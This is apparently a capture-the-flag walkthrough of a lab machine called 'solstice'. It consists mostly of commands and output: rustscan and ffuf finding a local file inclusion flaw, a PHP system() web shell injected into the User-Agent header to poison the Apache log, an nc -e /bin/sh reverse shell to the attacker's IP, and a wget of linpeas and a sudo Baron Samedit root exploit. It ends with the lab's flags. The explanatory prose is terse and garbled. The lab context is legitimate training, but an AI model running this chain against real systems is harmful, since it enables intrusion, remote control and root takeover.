

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.181.72 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.181.72:21
Open 192.168.181.72:22
Open 192.168.181.72:25
Open 192.168.181.72:80
Open 192.168.181.72:2121
Open 192.168.181.72:8593
Open 192.168.181.72:3128
Open 192.168.181.72:54787
Open 192.168.181.72:62524

PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack pyftplib 1.5.6
| ftp-syst:
|   STAT:
|   FTP server status:
|   Connected to: 192.168.181.72:21
|   Waiting for username.
|   TYPE: ASCII; STRUcture: File; MODE: Stream
|   Data connection closed.
|_ End of status.
22/tcp    open  ssh          syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp    open  smtp         syn-ack Exim smtpd
| smtp-commands: solstice Hello nmap.scanme.org [192.168.45.183], SIZE 52428800, 8BITMIME, PIPELINING,
CHUNKING, PRDR, HELP
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
80/tcp    open  http         syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_ http-server-header: Apache/2.4.38 (Debian)
|_ http-title: Site doesn't have a title (text/html).
2121/tcp  open  ftp          syn-ack pyftplib 1.5.6
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ drws----- 2 www-data www-data      4096 Jun 18 2020 pub
| ftp-syst:
|   STAT:
|   FTP server status:
|   Connected to: 192.168.181.72:2121
|   Waiting for username.
|   TYPE: ASCII; STRUcture: File; MODE: Stream
|   Data connection closed.
|_ End of status.
3128/tcp  open  http-proxy   syn-ack Squid http proxy 4.6
|_ http-server-header: squid/4.6
|_ http-title: ERROR: The requested URL could not be retrieved
8593/tcp  open  http         syn-ack PHP cli server 5.5 or later (PHP 7.3.14-1)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_ http-cookie-flags:
|   /:
|   PHPSESSID:
|_ httponly flag not set
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
54787/tcp open  http         syn-ack PHP cli server 5.5 or later (PHP 7.3.14-1)
|_ http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_ http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
62524/tcp open  tcpwrapped   syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```


``` Check80porthas a page,ffufscan, Check`http://192.168.181.72:8593/index.php`canClickbookhas a LFI's,use`ffuf`


```

```

(kali㉿kali)-[~/pgplay]
└─$ ffuf -u http://192.168.181.72:8593/index.php?book=FUZZ -w /home/kali/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -fw 45

```

```
..%2F..%2F..%2F..%2F..%2Fetc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 65ms]
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 65ms]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 66ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 66ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 64ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 65ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 64ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 66ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 66ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 67ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 67ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 67ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 67ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 68ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 68ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 69ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 60ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 60ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 61ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 61ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 61ms]
../../../../../../../../etc/passwd [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 61ms]
../../../../../../../../etc/passwd&=%3C%3C%3C%3C [Status: 200, Size: 2444, Words: 71, Lines: 49, Duration: 60ms]
../../../../../../../../var/log/apache2/access.log [Status: 200, Size: 6435946, Words: 782586, Lines: 52181, Duration: 63ms]
../../../../../../../../var/log/apache2/error.log [Status: 200, Size: 5026241, Words: 569291, Lines: 19029, Duration: 2283ms]
:: Progress: [924/924] :: Job [1/1] :: 308 req/sec :: Duration: [0:00:07] :: Errors: 24 ::
```

```
`burpsuite`stuck80port
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ burpsuite
```

```
GET / HTTP/1.1
Host: 192.168.181.72
User-Agent: <?php system($_GET['cmd']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=7i1mbqvc743j1ai81stjt09rou
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 25 Jun 2020 14:45:19 GMT
If-None-Match: "128-5a8e9a431c517-gzip"
"" Go tohttp://192.168.181.72:8593/index.php?book=../../../../../../../../var/log/apache2/access.log
```

```
192.168.45.183 - - [06/Jun/2024:04:08:05 -0400] "GET / HTTP/1.1" 200 524 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0" 192.168.45.183 - - [06/Jun/2024:04:08:22 -0400] "GET / HTTP/1.1" 200 524 "-" ""
``` confirmcan`poison` after,Start ncafter userreverse
```

```
└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp21
```

```
http://192.168.181.72:8593/index.php?book=../../../../../../../../var/log/apache2/access.log&cmd=nc%20192.168.45.183%2021%20-e%20%2Fbin%2Fsh
"" use linpeas.sh
```

```
www-data@solstice:/tmp$ wget 192.168.45.183/linpeas.sh
www-data@solstice:/tmp$ chmod +x linpeas.sh
www-data@solstice:/tmp$./linpeas.sh

[+] [CVE-2021-3156] sudo Baron Samedit

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-3156] sudo Baron Samedit 2

Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: centos=6|7|8,ubuntu=14|16|17|18|19|20, debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
``` Use [CVE-2021-3156] (https://github.com/worawit/CVE-2021-3156?tab=readme-ov-file)get root,get proof.txt
in /root,`/var/www`can get local.txt
```

```
www-data@solstice:/tmp$ wget 192.168.45.183/exploit_nss.py
www-data@solstice:/tmp$ python3 exploit_nss.py
```

python3 -c 'import pty; pty.spawn("/bin/bash")'

```
root@solstice:/root# cat proof.txt
58f42dff0b1be167567f2ab6f25f7668
```

```
root@solstice:/var/www# cat local.txt
a3406e56404468620bd9b16be0d77678
```
